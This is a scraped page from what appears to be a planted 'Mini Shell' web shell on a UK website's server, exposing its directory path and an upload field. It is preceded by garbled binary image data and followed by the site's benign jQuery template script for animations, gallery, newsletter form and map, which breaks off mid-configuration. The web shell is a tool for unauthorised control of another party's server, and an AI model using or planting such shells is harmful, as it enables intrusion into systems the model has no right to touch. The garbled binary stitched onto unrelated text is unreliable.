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੐)|#o0aڱ$I>}k&1`U#V?YsV x>{t1[I~D&(I$I/{H0fw"q"y%4 IXyE~M3 8XψL}qE$I[> nD?~sf ]o΁ cT6"?'_Ἣ $I>~.f|'!N?⟩0G KkXZE]ޡ;/&?k OۘH$IRۀwXӨ<7@PnS04aӶp.:@\IWQJ6sS%I$e5ڑv`3:x';wq_vpgHyXZ 3gЂ7{{EuԹn±}$I$8t;b|591nءQ"P6O5i }iR̈́%Q̄p!I䮢]O{H$IRϻ9s֧ a=`- aB\X0"+5"C1Hb?߮3x3&gşggl_hZ^,`5?ߎvĸ%̀M!OZC2#0x LJ0 Gw$I$I}<{Eb+y;iI,`ܚF:5ܛA8-O-|8K7s|#Z8a&><a&/VtbtLʌI$I$I$I$I$I$IRjDD%tEXtdate:create2022-05-31T04:40:26+00:00!Î%tEXtdate:modify2022-05-31T04:40:26+00:00|{2IENDB`Mini Shell

HOME


Mini Shell 1.0
DIR:/home/austenwhite.co.uk/www/js/
Upload File :
Current File : /home/austenwhite.co.uk/www/js/custom.js
$(document).ready(function () {

    "use strict";


    /* _____________________________________

     Device Detection
     _____________________________________ */

    // Mobile Detect
    var isMobile = /iPhone|iPad|iPod|Android|BlackBerry|BB10|Silk|Mobi/i.test(self._navigator && self._navigator.userAgent);
    var isTouch = !!(('ontouchend' in window) || (self._navigator && self._navigator.maxTouchPoints > 0) || (self._navigator && self._navigator.msMaxTouchPoints > 0));


    /* _____________________________________

     Preloader
     _____________________________________ */

    var loader = $(".loader");

    if (loader.length) {
      // show Preloader until the website ist loaded
      $(window).on("load", function () {
        loader.addClass('fade-out');
        setTimeout(function () {
          loader.hide();
        }, 1000);
      });
    }

/* _____________________________________

     Count Down
     _____________________________________ */

    var time = $('.count-down');
    if (time.length) {
      var endDate = new Date(time.data("end-date"));
      time.countdown({
        date: endDate,
        render: function (data) {
          $(this.el).html('<div class="cd-row"><div><h1>' + this.leadingZeros(data.days, 3)
            + '</h1><p>days</p></div><div><h1>'
            + this.leadingZeros(data.hours, 2)
            + '</h1><p>hrs</p></div></div><div class="cd-row"><div><h1>'
            + this.leadingZeros(data.min, 2)
            + '</h1><p>min</p></div><div><h1>'
            + this.leadingZeros(data.sec, 2)
            + '</h1><p>sec</p></div></div>');
        }
      });
    }
    /* _____________________________________

     Smooth Scroll
     _____________________________________ */


    function initScroll(anchor) {
      $("html, body").stop().animate({
        scrollTop: $(anchor).offset().top
      }, {
        duration: 1000,
        specialEasing: {
          width: "linear",
          height: "easeInOutCubic"
        }
      });

    }

    $("a.smooth-scroll").on("click", function (event) {
      var anchor = $(this).attr("href");
      initScroll(anchor);
      event.preventDefault();
    });


    /* _____________________________________

     Scroll Reveal
     _____________________________________ */

    var reveal = $(".reveal");

    if (reveal.length) {
      window.sr = ScrollReveal();

      // Add class to <html> if ScrollReveal is supported
      if (sr.isSupported()) {
        document.documentElement.classList.add('sr');
      }

      sr.reveal('.reveal.scale-in', {
        origin: 'bottom',
        distance: '20px',
        duration: 1500,
        delay: 400,
        opacity: 1,
        scale: 1.1,
        easing: 'linear',
        reset: false
      });


      sr.reveal('.reveal.scale-out', {
        origin: 'bottom',
        distance: '20px',
        duration: 1500,
        delay: 400,
        opacity: 1,
        scale: 0.9,
        easing: 'linear',
        reset: false
      });
    }

    /* _____________________________________

     Navbar Button
     _____________________________________ */

    var collapse = $(".collapse");

    collapse.on('show.bs.collapse', function () {
      $('.navbar-button').addClass('open');
    });
    collapse.on('hide.bs.collapse', function () {
      $('.navbar-button').removeClass('open');
    });


    /* _____________________________________

     Show Content
     _____________________________________ */

    var navLinks = $('.navbar-links li'),
      content = $("body"),
      navbar = $(".navbar"),
      col = $(".col-transform");

    $(".show-info").click(function () {
      if (window.innerWidth > 990) {
        if (content.hasClass('show-content')) {
          col.removeClass('col-md-6').addClass('col-md-12');
          content.removeClass('show-content');
          setTimeout(function () {
            navbar.removeClass('navbar-open')
          }, 900);
          initTranslateOpacity(navLinks, '100%', '0', 'hidden', 600);
        } else {
          col.removeClass('col-md-12').addClass('col-md-6');
          content.addClass('show-content');
          setTimeout(function () {
            navbar.addClass('navbar-open')
          }, 300);
          initTranslateOpacity(navLinks.get().reverse(), '0', '1', 'visible', 600);
        }
      }
      var anchor = $(this).data("href");
      initScroll(anchor);
    });


    function initTranslateOpacity(selector, translate, opacity, visibility, time) {
      $(selector).each(function () {
        var _this = this;
        window.setTimeout(function () {
          $(_this).css({
            '-webkit-transform': 'translate(' + translate + ',0)',
            'opacity': opacity,
            'visibility': visibility
          });
        }, time);
        time += 300;
      });
    }


    /* _____________________________________

     Page Image BG Slider
     _____________________________________ */

    var pageSlider = $("#page-slider");
    if (pageSlider.length) {
      pageSlider.owlCarousel({
        loop: true,
        items: 1,
        autoplay: true,
        animateOut: 'fadeOut',
        slideTransition: 'linear',
        autoplaySpeed: 8000,
        mouseDrag: false
      });
    }

    
    /* _____________________________________

     Background Youtube
     _____________________________________ */

    // shows Video only for Desktop
    var pageYoutube = $('#page-youtube');

    if (pageYoutube.length && !isMobile && !isTouch) {
      pageYoutube.YTPlayer({
        fitToBackground: true,
        videoId: pageYoutube.data("video-id"),
        playerVars: {
          modestbranding: 0,
          autoplay: 1,
          controls: 0,
          showinfo: 0,
          branding: 0,
          rel: 0,
          autohide: 0,
          start: 0
        }
      });
    }

    /* _____________________________________

     Background Video
     _____________________________________ */

    // shows Video only for Desktop
    var pageVideo = $('#page-video');

    if (pageVideo.length && !isMobile && !isTouch) {
      new $.backgroundVideo($("body"), {
        "align": "centerXY",
        "width": 960,
        "height": 540,
        "path": pageVideo.data("path"),
        "filename": pageVideo.data("file"),
        "types": ["mp4", "ogg", "webm"]
      });
    }

    /* _____________________________________

     Background Kenburn
     _____________________________________ */


    var selectorKenburn = $("#kenburn-slider, body");
    if ($('#kenburn-slider').length) {

      selectorKenburn.vegas({
        slides: [
          {src: "images/placeholder-2400-1600.jpg"},
          {src: "images/placeholder-2400-1600.jpg"},
          {src: "images/placeholder-2400-1600.jpg"}
          // further slide definitions
        ],
        transition: 'fade',
        animation: 'random',
        transitionDuration: 4000,
        delay: 8000,
        timer: false
      });
    }


    /* _____________________________________

     Background Particle
     _____________________________________ */

    var pageParticle = $('#page-particle');
    if (pageParticle.length) {

      pageParticle.particleground({
        dotColor: pageParticle.data("dot-color"),
        lineColor: pageParticle.data("line-color")
      });
    }


    /* _____________________________________

     Background Gradient
     _____________________________________ */

    var pageGradient = $('#page-gradient');
    if (pageGradient.length) {
      pageGradient.gradientify({
        gradients: [
          {start: [35, 72, 200], stop: [192, 33, 114]},
          {start: [10, 155, 102], stop: [82, 98, 176]}
        ],
        fps: 80
      });
    }


    /* _____________________________________

     Background Rain
     _____________________________________ */

    var pageRain = $('#page-rain');
    if (pageRain.length && !isMobile && !isTouch) {
      var image = pageRain[0];
      image.onload = function () {
        var engine = new RainyDay({
          image: this,
          parentElement: $('.section-overlay')[0]
        });
        engine.rain([[1, 2, 4000]]); // add 4000 drops of size from 1 - 2
        engine.rain(
          [
            [3, 3, 1], [5, 5, 1], [6, 2, 1]
          ],
          100); // every 100ms
      };
      image.crossOrigin = 'anonymous';
      image.src = pageRain.attr('src');
    }


    /* _____________________________________

     Background Amplitude & Sound
     _____________________________________ */


    var pageAmplitude = $('#page-amplitude'),
      volume = $('#volume'),
      playback = $('#playback');


    if (pageAmplitude.length) {

      var wave = new SiriWave({
        speed: 0.05,
        amplitude: 1,
        container: pageAmplitude[0],
        autostart: true,
        frequency: 4,
        height: 300,
        style: 'ios9'
      });

      if (!isMobile && !isTouch) {
        var sound = new Howl({
          src: ['audio/egotype.webm', 'audio/egotype.mp3'],
          autoplay: true,
          loop: true
        });

        playback.on('click', function () {
          if (playback.hasClass('pause')) {
            playback.addClass('play').removeClass('pause');
            playback.find('i').removeClass('icon-music-pause-button').addClass('icon-music-play-button');
            sound.pause();
            wave.stop();
          } else {
            playback.removeClass('play').addClass('pause');
            playback.find('i').removeClass('icon-music-play-button').addClass('icon-music-pause-button');
            sound.play();
            wave.start();
          }
        });

        volume.on('click', function () {
          if (volume.hasClass('vol-1')) {
            volume.removeClass('vol-1').addClass('vol-0');
            volume.find('i').removeClass('icon-music-volume-up').addClass('icon-music-volume-down');
            sound.volume(0);
          } else {
            volume.addClass('vol-1').removeClass('vol-0');
            volume.find('i').removeClass('icon-music-volume-down').addClass('icon-music-volume-up');
            sound.volume(1);
          }
        });
      } else {
        volume.hide();
        playback.hide();
      }
    }


    /* _____________________________________

     Background Particle Waves
     _____________________________________ */


    var SEPARATION = 100, AMOUNTX = 50, AMOUNTY = 50;

    var container;
    var camera, scene, renderer;

    var particles, particle, count = 0;

    var mouseX = 0, mouseY = 0;

    var windowHalfX = window.innerWidth / 2;
    var windowHalfY = window.innerHeight / 2;


    function init(waveColor, bgColor) {

      container = $('#particle-waves')[0];

      camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 1, 10000);
      camera.position.z = 1000;

      scene = new THREE.Scene();

      particles = [];

      var PI2 = Math.PI * 2;
      var material = new THREE.SpriteCanvasMaterial({

        color: waveColor,
        program: function (context) {
          context.beginPath();
          context.arc(0, 0, 0.5, 0, PI2, true);
          context.fill();
        }
      });

      var i = 0;

      for (var ix = 0; ix < AMOUNTX; ix++) {
        for (var iy = 0; iy < AMOUNTY; iy++) {
          particle = particles[i++] = new THREE.Sprite(material);
          particle.position.x = ix * SEPARATION - ( ( AMOUNTX * SEPARATION ) / 2 );
          particle.position.z = iy * SEPARATION - ( ( AMOUNTY * SEPARATION ) / 2 );
          scene.add(particle);
        }
      }

      renderer = new THREE.CanvasRenderer();
      renderer.setPixelRatio(window.devicePixelRatio);
      renderer.setSize(window.innerWidth, window.innerHeight);
      renderer.setClearColor(bgColor, 1);
      container.appendChild(renderer.domElement);
      window.addEventListener('resize', onWindowResize, false);

    }

    function onWindowResize() {
      windowHalfX = window.innerWidth / 2;
      windowHalfY = window.innerHeight / 2;
      camera.aspect = window.innerWidth / window.innerHeight;
      camera.updateProjectionMatrix();
      renderer.setSize(window.innerWidth, window.innerHeight);

    }

    function animate() {
      requestAnimationFrame(animate);
      render();

    }

    function render() {
      camera.position.x += ( mouseX - camera.position.x ) * .05;
      camera.position.y += ( -mouseY - camera.position.y ) * .05;
      camera.lookAt(scene.position);

      var i = 0;

      for (var ix = 0; ix < AMOUNTX; ix++) {

        for (var iy = 0; iy < AMOUNTY; iy++) {

          particle = particles[i++];
          particle.position.y = ( Math.sin(( ix + count ) * 0.3) * 50 ) +
            ( Math.sin(( iy + count ) * 0.5) * 50 );
          particle.scale.x = particle.scale.y = ( Math.sin(( ix + count ) * 0.3) + 1 ) * 4 +
            ( Math.sin(( iy + count ) * 0.5) + 1 ) * 4;

        }
      }

      renderer.render(scene, camera);

      count += 0.1;

    }

    var particleWaves = $('#particle-waves');
    if (particleWaves.length) {
      init(particleWaves.data('wave-color'), particleWaves.data('bg-color'));
      animate();
    }


    /* _____________________________________

     Background Waterpipe
     _____________________________________ */

    var waterPipe = $('#waterpipe');

    if (waterPipe.length) {
      waterPipe.waterpipe({
        gradientStart: '#fa05fa',
        gradientEnd: '#6b71e3',
        smokeOpacity: 0.1,
        numCircles: 1,
        maxMaxRad: 'auto',
        minMaxRad: 'auto',
        minRadFactor: 0,
        iterations: 8,
        drawsPerFrame: 10,
        lineWidth: 2,
        speed: 20,
        bgColorInner: "#444444",
        bgColorOuter: "#000000"
      });
    }


    /* _____________________________________

     Background Ripple
     _____________________________________ */

    var ripple = $('#page-ripple');

    if (ripple.length  && !isMobile && !isTouch) {
      ripple.ripples({
        resolution: 512,
        dropRadius: 10, //px
        perturbance: 0.04,
        interactive: false
      });

      setInterval(function () {
        var $el = ripple;
        var x = Math.random() * $el.outerWidth();
        var y = Math.random() * $el.outerHeight();
        var dropRadius = 20;
        var strength = 0.04 + Math.random() * 0.04;

        $el.ripples('drop', x, y, dropRadius, strength);
      }, 3000);
    }


    /* _____________________________________

     Background Starfield
     _____________________________________ */

    var starfield = $('#page-starfield');

    if (starfield.length) {
      starfield.starfield({
        speed: 0,
        quantity: 500,
        ratio: 200
      });
    }
    
    
    /* _____________________________________

    Background A Long Way
     _____________________________________ */

    var aLongWay = $('#alongway');

    if (aLongWay.length) {
      defaults = {
        dt: 0.015,
        time: 0.0
      };
    }
    

    /* _____________________________________

    Background Raindrop
     _____________________________________ */

    let rainDrop = $('#raindrop');

    if (rainDrop.length) {
      defaults = {
        length : 30,
        speed : 15,
        // Gradient from top to Bottom
        startColor : "#00a8ff",
        middleColor : "#00a8ff",
        endColor : "white",
      };
    }

    
    /* _____________________________________

    Background Homing Particles
     _____________________________________ */

    var homingParticles = $('#homing-particles');

    if (homingParticles.length) {
    defaults = {
      BASE_PARTICLE_COUNT : 30,
      WATCH_INTERVAL : 1,
      THRESHOLD : 30,
      SPRING_AMOUNT : 0.01,
      LIMIT_RATE : 0.8,
    
      BACKGROUND_COLOR_HUE : 0,
      BACKGROUND_COLOR_SATURATION : 0,
      BACKGROUND_COLOR_LIGHTNESS : 0,
      BACKGROUND_COLOR_ALPHA : 0.3,
      PARTICLE_COLOR_SATURATION : 70,
      PARTICLE_COLOR_LIGHTNESS : 40
      };
    }

    /* _____________________________________

     Background Intertwined
     _____________________________________ */

    var intertWined = $('#intertwined');

    if (intertWined.length) {
      defaults = {
         dt: 0.005,
         time: 0.0
      };
    }


    /* _____________________________________

     Background Square
     _____________________________________ */

    var square = $('#page-square');

    if (square.length) {
      particlesJS("page-square", {
        "particles": {
          "number": {
            "value": 20,
            "density": {"enable": false, "value_area": 800}
          },
          "color": {"value": square.data('square-color')},
          "opacity": {
            "value": 0.5,
            "random": false,
            "anim": {"enable": false, "speed": 1, "opacity_min": 0.1, "sync": false}
          },
          "shape": {
            "type": "edge",
            "stroke": {
              "width": 0,
              "color": "#000000"
            },
          },
          "size": {
            "value": 58,
            "random": false,
            "anim": {"enable": true, "speed": 10, "size_min": 40, "sync": false}
          },
          "line_linked": {
            "enable": false,
            "distance": 200,
            "color": "#ffffff",
            "opacity": 1,
            "width": 2
          },
          "move": {
            "enable": true,
            "speed": 4,
            "direction": "right",
            "random": false,
            "straight": false,
            "out_mode": "out",
            "bounce": false,
            "attract": {"enable": false, "rotateX": 600, "rotateY": 1200}
          }
        },
        "interactivity": {
          "detect_on": "window",
          "events": {
            "onhover": {"enable": false, "mode": "grab"},
            "onclick": {"enable": false, "mode": "push"},
            "resize": true
          },
          "modes": {
            "grab": {"distance": 400, "line_linked": {"opacity": 1}},
            "bubble": {"distance": 400, "size": 40, "duration": 2, "opacity": 8, "speed": 3},
            "repulse": {"distance": 200, "duration": 0.4},
            "push": {"particles_nb": 4},
            "remove": {"particles_nb": 2}
          }
        },
        "retina_detect": true
      });
    }

    /* _____________________________________

     Background Bubbles
     _____________________________________ */

    var bubbles = $('#page-bubbles');

    if (bubbles.length) {
      particlesJS("page-bubbles", {
        "particles": {
          "number": {
            "value": 30,
            "density": {"enable": true, "value_area": 800}
          },
          "color": {"value": bubbles.data('bubble-color')},
          "opacity": {
            "value": 0.3,
            "random": true,
            "anim": {"enable": false, "speed": 1, "opacity_min": 0.1, "sync": false}
          },
          "size": {
            "value": 58,
            "random": false,
            "anim": {"enable": true, "speed": 10, "size_min": 40, "sync": false}
          },
          "line_linked": {
            "enable": false,
            "distance": 200,
            "color": "#ffffff",
            "opacity": 1,
            "width": 2
          },
          "move": {
            "enable": true,
            "speed": 8,
            "direction": "none",
            "random": false,
            "straight": false,
            "out_mode": "out",
            "bounce": false,
            "attract": {"enable": false, "rotateX": 600, "rotateY": 1200}
          }
        },
        "interactivity": {
          "detect_on": "canvas",
          "events": {
            "onhover": {"enable": false, "mode": "grab"},
            "onclick": {"enable": false, "mode": "push"},
            "resize": true
          },
          "modes": {
            "grab": {"distance": 400, "line_linked": {"opacity": 1}},
            "bubble": {"distance": 400, "size": 40, "duration": 2, "opacity": 8, "speed": 3},
            "repulse": {"distance": 200, "duration": 0.4},
            "push": {"particles_nb": 4},
            "remove": {"particles_nb": 2}
          }
        },
        "retina_detect": true
      });
    }


    /* _____________________________________

     Background Flat Surface Shader
     _____________________________________ */

    /* ------------------------------
     Options
     ------------------------------ */

    var flatSurface = $('#page-fss');

    if (flatSurface.length) {
      var MESH = {
        width: 1.2,
        height: 1.2,
        depth: 0,
        segments: 16,
        slices: 8,
        xRange: 0.8,
        yRange: 0.1,
        zRange: 1.0,
        ambient: '#555555',
        diffuse: '#ffffff',
        speed: 0.002
      };

      var LIGHT = {
        count: 2,
        xyScalar: 1,
        zOffset: 100,
        ambient: flatSurface.data('ambient-color'),
        diffuse: flatSurface.data('diffuse-color'),
        speed: 0.002,
        gravity: 500,
        dampening: 0.95,
        minLimit: 10,
        maxLimit: null,
        minDistance: 20,
        maxDistance: 800,
        autopilot: true,
        draw: false,
        bounds: FSS.Vector3.create(),
        step: FSS.Vector3.create(
          Math.randomInRange(0.2, 1.0),
          Math.randomInRange(0.2, 1.0),
          Math.randomInRange(0.2, 1.0)
        )
      };


      /* ------------------------------
       Render Properties
       ------------------------------ */

      var RENDER = {
        renderer: 'canvas'
      };

      var now, start = Date.now();
      var center = FSS.Vector3.create();
      var attractor = FSS.Vector3.create();
      var containerFSS = flatSurface[0];
      var output = flatSurface[0];
      var rendererFSS, sceneFSS, mesh, geometry, material;
      var canvasRenderer;

    }

    /* ------------------------------
     Methods
     ------------------------------ */

    function initialise() {
      createRenderer();
      createScene();
      createMesh();
      createLights();
      addEventListeners();
      resize(containerFSS.offsetWidth, containerFSS.offsetHeight);
      animateFSS();
    }

    function createRenderer() {
      canvasRenderer = new FSS.CanvasRenderer();
      setRenderer(RENDER.renderer);
    }

    function setRenderer() {
      if (rendererFSS) {
        output.removeChild(rendererFSS.element);
      }

      rendererFSS = canvasRenderer;

      rendererFSS.setSize(containerFSS.offsetWidth, containerFSS.offsetHeight);
      output.appendChild(rendererFSS.element);
    }

    function createScene() {
      sceneFSS = new FSS.Scene();
    }

    function createMesh() {
      sceneFSS.remove(mesh);
      rendererFSS.clear();
      geometry = new FSS.Plane(MESH.width * rendererFSS.width, MESH.height * rendererFSS.height, MESH.segments, MESH.slices);
      material = new FSS.Material(MESH.ambient, MESH.diffuse);
      mesh = new FSS.Mesh(geometry, material);
      sceneFSS.add(mesh);

      // Augment vertices for animation
      var v, vertex;
      for (v = geometry.vertices.length - 1; v >= 0; v--) {
        vertex = geometry.vertices[v];
        vertex.anchor = FSS.Vector3.clone(vertex.position);
        vertex.step = FSS.Vector3.create(
          Math.randomInRange(0.2, 1.0),
          Math.randomInRange(0.2, 1.0),
          Math.randomInRange(0.2, 1.0)
        );
        vertex.time = Math.randomInRange(0, Math.PIM2);
      }
    }

    function createLights() {
      var l, light;
      for (l = sceneFSS.lights.length - 1; l >= 0; l--) {
        light = sceneFSS.lights[l];
        sceneFSS.remove(light);
      }
      rendererFSS.clear();
      for (l = 0; l < LIGHT.count; l++) {
        light = new FSS.Light(LIGHT.ambient, LIGHT.diffuse);
        light.ambientHex = light.ambient.format();
        light.diffuseHex = light.diffuse.format();
        sceneFSS.add(light);

        // Augment light for animation
        light.mass = Math.randomInRange(0.5, 1);
        light.velocity = FSS.Vector3.create();
        light.acceleration = FSS.Vector3.create();
        light.force = FSS.Vector3.create();

        // Ring SVG Circle
        light.ring = document.createElementNS(FSS.SVGNS, 'circle');
        light.ring.setAttributeNS(null, 'stroke', light.ambientHex);
        light.ring.setAttributeNS(null, 'stroke-width', '0.5');
        light.ring.setAttributeNS(null, 'fill', 'none');
        light.ring.setAttributeNS(null, 'r', '10');

        // Core SVG Circle
        light.core = document.createElementNS(FSS.SVGNS, 'circle');
        light.core.setAttributeNS(null, 'fill', light.diffuseHex);
        light.core.setAttributeNS(null, 'r', '4');
      }
    }

    function resize(width, height) {
      rendererFSS.setSize(width, height);
      FSS.Vector3.set(center, rendererFSS.halfWidth, rendererFSS.halfHeight);
      createMesh();
    }

    function animateFSS() {
      now = Date.now() - start;
      update();
      renderFSS();
      requestAnimationFrame(animateFSS);
    }

    function update() {
      var ox, oy, oz, l, light, v, vertex, offset = MESH.depth / 2;

      // Update Bounds
      FSS.Vector3.copy(LIGHT.bounds, center);
      FSS.Vector3.multiplyScalar(LIGHT.bounds, LIGHT.xyScalar);

      // Update Attractor
      FSS.Vector3.setZ(attractor, LIGHT.zOffset);

      // Overwrite the Attractor position
      if (LIGHT.autopilot) {
        ox = Math.sin(LIGHT.step[0] * now * LIGHT.speed);
        oy = Math.cos(LIGHT.step[1] * now * LIGHT.speed);
        FSS.Vector3.set(attractor,
          LIGHT.bounds[0] * ox,
          LIGHT.bounds[1] * oy,
          LIGHT.zOffset);
      }

      // Animate Lights
      for (l = sceneFSS.lights.length - 1; l >= 0; l--) {
        light = sceneFSS.lights[l];

        // Reset the z position of the light
        FSS.Vector3.setZ(light.position, LIGHT.zOffset);

        // Calculate the force Luke!
        var D = Math.clamp(FSS.Vector3.distanceSquared(light.position, attractor), LIGHT.minDistance, LIGHT.maxDistance);
        var F = LIGHT.gravity * light.mass / D;
        FSS.Vector3.subtractVectors(light.force, attractor, light.position);
        FSS.Vector3.normalise(light.force);
        FSS.Vector3.multiplyScalar(light.force, F);

        // Update the light position
        FSS.Vector3.set(light.acceleration);
        FSS.Vector3.add(light.acceleration, light.force);
        FSS.Vector3.add(light.velocity, light.acceleration);
        FSS.Vector3.multiplyScalar(light.velocity, LIGHT.dampening);
        FSS.Vector3.limit(light.velocity, LIGHT.minLimit, LIGHT.maxLimit);
        FSS.Vector3.add(light.position, light.velocity);
      }

      // Animate Vertices
      for (v = geometry.vertices.length - 1; v >= 0; v--) {
        vertex = geometry.vertices[v];
        ox = Math.sin(vertex.time + vertex.step[0] * now * MESH.speed);
        oy = Math.cos(vertex.time + vertex.step[1] * now * MESH.speed);
        oz = Math.sin(vertex.time + vertex.step[2] * now * MESH.speed);
        FSS.Vector3.set(vertex.position,
          MESH.xRange * geometry.segmentWidth * ox,
          MESH.yRange * geometry.sliceHeight * oy,
          MESH.zRange * offset * oz - offset);
        FSS.Vector3.add(vertex.position, vertex.anchor);
      }

      // Set the Geometry to dirty
      geometry.dirty = true;
    }

    function renderFSS() {
      rendererFSS.render(sceneFSS);

      // Draw Lights
      if (LIGHT.draw) {
        var l, lx, ly, light;
        for (l = sceneFSS.lights.length - 1; l >= 0; l--) {
          light = sceneFSS.lights[l];
          lx = light.position[0];
          ly = light.position[1];
          rendererFSS.context.lineWidth = 0.5;
          rendererFSS.context.beginPath();
          rendererFSS.context.arc(lx, ly, 10, 0, Math.PIM2);
          rendererFSS.context.strokeStyle = light.ambientHex;
          rendererFSS.context.stroke();
          rendererFSS.context.beginPath();
          rendererFSS.context.arc(lx, ly, 4, 0, Math.PIM2);
          rendererFSS.context.fillStyle = light.diffuseHex;
          rendererFSS.context.fill();

        }
      }
    }


    function addEventListeners() {
      window.addEventListener('resize', onWindowResizFSS);
    }

    /* ------------------------------
     Callbacks
     ------------------------------ */

    function onWindowResizFSS() {
      resize(containerFSS.offsetWidth, containerFSS.offsetHeight);
      renderFSS();
    }


    // Init
    if (flatSurface.length) {
      initialise();
    }




    /* _____________________________________

     Gallery Lightbox
     _____________________________________ */

    var initPhotoSwipeFromDOM = function (gallerySelector) {

      var parseThumbnailElements = function (el) {
        var thumbElements = el.childNodes,
          numNodes = thumbElements.length,
          items = [],
          figureEl,
          linkEl,
          size,
          item;

        for (var i = 0; i < numNodes; i++) {

          figureEl = thumbElements[i];

          if (figureEl.nodeType !== 1) {
            continue;
          }

          linkEl = figureEl.children[0];

          size = linkEl.getAttribute('data-size').split('x');


          // create slide object
          item = {
            src: linkEl.getAttribute('href'),
            w: parseInt(size[0], 10),
            h: parseInt(size[1], 10)
          };


          if (figureEl.children.length > 1) {
            // <figcaption> content
            item.title = '<h4>' + figureEl.children[1].innerHTML + '</h4><p>' + figureEl.children[2].innerHTML + '</p>';
          }

          if (linkEl.children.length > 0) {
            // <img> thumbnail element, retrieving thumbnail url
            item.msrc = linkEl.children[0].getAttribute('src');
          }

          item.el = figureEl; // save link to element for getThumbBoundsFn
          items.push(item);
        }

        return items;
      };

      // find nearest parent element
      var closest = function closest(el, fn) {
        return el && ( fn(el) ? el : closest(el.parentNode, fn) );
      };

      // triggers when user clicks on thumbnail
      var onThumbnailsClick = function (e) {
        e = e || window.event;
        e.preventDefault ? e.preventDefault() : e.returnValue = false;

        var eTarget = e.target || e.srcElement;

        // find root element of slide
        var clickedListItem = closest(eTarget, function (el) {
          return (el.tagName && el.tagName.toUpperCase() === 'FIGURE');
        });

        if (!clickedListItem) {
          return;
        }

        // find index of clicked item by looping through all child nodes
        // alternatively, you may define index via data- attribute
        var clickedGallery = clickedListItem.parentNode,
          childNodes = clickedListItem.parentNode.childNodes,
          numChildNodes = childNodes.length,
          nodeIndex = 0,
          index;

        for (var i = 0; i < numChildNodes; i++) {
          if (childNodes[i].nodeType !== 1) {
            continue;
          }

          if (childNodes[i] === clickedListItem) {
            index = nodeIndex;
            break;
          }
          nodeIndex++;
        }


        if (index >= 0) {
          // open PhotoSwipe if valid index found
          openPhotoSwipe(index, clickedGallery);
        }
        return false;
      };

      // parse picture index and gallery index from URL (#&pid=1&gid=2)
      var photoswipeParseHash = function () {
        var hash = window.location.hash.substring(1),
          params = {};

        if (hash.length < 5) {
          return params;
        }

        var vars = hash.split('&');
        for (var i = 0; i < vars.length; i++) {
          if (!vars[i]) {
            continue;
          }
          var pair = vars[i].split('=');
          if (pair.length < 2) {
            continue;
          }
          params[pair[0]] = pair[1];
        }

        if (params.gid) {
          params.gid = parseInt(params.gid, 10);
        }

        return params;
      };

      var openPhotoSwipe = function (index, galleryElement, disableAnimation, fromURL) {
        var pswpElement = document.querySelectorAll('.pswp')[0],
          gallery,
          options,
          items;

        items = parseThumbnailElements(galleryElement);

        // options
        options = {
          barsSize: {top: 64, bottom: 'auto', padding: '10px'},
          bgOpacity: 0.98,
          closeEl: true,
          captionEl: true,
          fullscreenEl: false,
          zoomEl: false,
          shareEl: false,
          counterEl: true,
          arrowEl: true,
          preloaderEl: true,
          galleryUID: galleryElement.getAttribute('data-pswp-uid'),

          getThumbBoundsFn: function (index) {
            // See Options -> getThumbBoundsFn section of documentation for more info
            var thumbnail = items[index].el.getElementsByTagName('img')[0], // find thumbnail
              pageYScroll = window.pageYOffset || document.documentElement.scrollTop,
              rect = thumbnail.getBoundingClientRect();

            return {x: rect.left, y: rect.top + pageYScroll, w: rect.width};
          }

        };

        // PhotoSwipe opened from URL
        if (fromURL) {
          if (options.galleryPIDs) {
            // parse real index when custom PIDs are used
            // http://photoswipe.com/documentation/faq.html#custom-pid-in-url
            for (var j = 0; j < items.length; j++) {
              if (items[j].pid == index) {
                options.index = j;
                break;
              }
            }
          } else {
            // in URL indexes start from 1
            options.index = parseInt(index, 10) - 1;
          }
        } else {
          options.index = parseInt(index, 10);
        }

        // exit if index not found
        if (isNaN(options.index)) {
          return;
        }

        if (disableAnimation) {
          options.showAnimationDuration = 0;
        }

        // Pass data to PhotoSwipe and initialize it
        gallery = new PhotoSwipe(pswpElement, PhotoSwipeUI_Default, items, options);
        gallery.init();
      };

      // loop through all gallery elements and bind events
      var galleryElements = document.querySelectorAll(gallerySelector);

      for (var i = 0, l = galleryElements.length; i < l; i++) {
        galleryElements[i].setAttribute('data-pswp-uid', i + 1);
        galleryElements[i].onclick = onThumbnailsClick;
      }

      // Parse URL and open gallery if it contains #&pid=3&gid=1
      var hashData = photoswipeParseHash();
      if (hashData.pid && hashData.gid) {
        openPhotoSwipe(hashData.pid, galleryElements[hashData.gid - 1], true, true);
      }
    };


    $("#photoswipe").load("js/plugins/photoswipe/include/photoswipe.html", function () {
      // Initialization .gallery
      initPhotoSwipeFromDOM('.gallery');
      // write your init for further galleries here
    });

    /* _____________________________________

     Textarea Auto Resize
     _____________________________________ */

    var textarea = $('textarea');

    if (textarea.length) {
      textarea[0].addEventListener('keydown', autosize);
    }

    function autosize() {
      var el = this;
      setTimeout(function () {
        el.style.cssText = 'height:50px; padding:15px';
        el.style.cssText = 'height:' + el.scrollHeight + 'px';
      }, 0);
    }

    /* _____________________________________

     Form Focus
     _____________________________________ */

    var formControl = $(".form-control");

    formControl.on('focus', function () {
      $(this).parent().addClass('focus')

    });
    formControl.on('blur', function () {
      $(this).parent().removeClass('focus');
    });


    /* _____________________________________

     Mail Chimp
     _____________________________________ */

    var form = $('#mc-form');

    if (form.length) {
      form.ajaxChimp({
        callback: mailchimpCallback,
        // Replace the URL above with your mailchimp URL (put your URL inside '').
        url: ''
      });
    }

    // callback function when the form submitted, show the notification box
    function mailchimpCallback(resp) {
      var messageContainer = $('#message-newsletter');
      messageContainer.removeClass('error');

      form.find('.form-group').removeClass('error');
      if (resp.result === 'error') {
        form.find('.input-group').addClass('error');
        messageContainer.addClass('error');
      } else {
        form.find('.form-control').fadeIn().val('');
      }

      messageContainer.slideDown('slow', 'swing');

      setTimeout(function () {
        messageContainer.slideUp('slow', 'swing');
      }, 10000);
    }


    /* _____________________________________

     Map
     _____________________________________ */

    function initMap(map) {

      // centered map point
      var latlng = new google.maps.LatLng(40.72020106, -73.97163391);

      // points marker info and coordinates
      var points = [
        ['<div class="wrapper"><h4>Kounter Office</h4><h5>Opening Hours</h5><p>Mo – Fr: 08:30 – 20:00</p></div>', 40.7486332, -73.9797129],
        ['<div class="wrapper"><h4>Kounter Agency</h4><h5>Opening Hours</h5><p>Mo – Fr: 08:30 – 20:00</p></div>', 40.66810, -73.94480]
      ];
      // marker
      var iconMarker = 'images/marker.png';

      // marker size
      var markerSize = new google.maps.Size(50, 49);


      // map options
      var options = {
        zoom: 11,
        center: latlng,
